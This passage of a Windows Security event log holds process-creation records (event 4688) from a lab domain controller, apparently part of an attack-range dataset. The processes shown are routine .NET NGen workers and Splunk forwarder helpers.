-TaskCategory=Process Creation -OpCode=Info -RecordNumber=254618 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 268 -InterruptEvent 0 -NGENProcess 640 -Pipe 240 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254624 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 23c -InterruptEvent 0 -NGENProcess 4d0 -Pipe 27c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254623 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12f4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 624 -InterruptEvent 0 -NGENProcess 7d8 -Pipe 62c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254622 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2bc -InterruptEvent 0 -NGENProcess 4d0 -Pipe 25c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254621 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc9c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7d8 -InterruptEvent 0 -NGENProcess 78c -Pipe 124 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254620 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1250 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 640 -InterruptEvent 0 -NGENProcess 4d0 -Pipe 268 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254619 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 6a8 -Pipe 634 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254629 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254628 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 714 -InterruptEvent 0 -NGENProcess 794 -Pipe 258 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254627 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 290 -Pipe 7d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254626 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 258 -InterruptEvent 0 -NGENProcess 714 -Pipe 23c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254625 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7d8 -InterruptEvent 0 -NGENProcess 6fc -Pipe 624 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254632 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 448 -InterruptEvent 0 -NGENProcess 794 -Pipe 730 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254631 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254630 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x640 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5d4 -InterruptEvent 0 -NGENProcess 6fc -Pipe 694 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254635 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254634 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1008 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 794 -Pipe 254 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254633 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe38 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 648 -InterruptEvent 0 -NGENProcess 5d4 -Pipe 4a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254636 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as 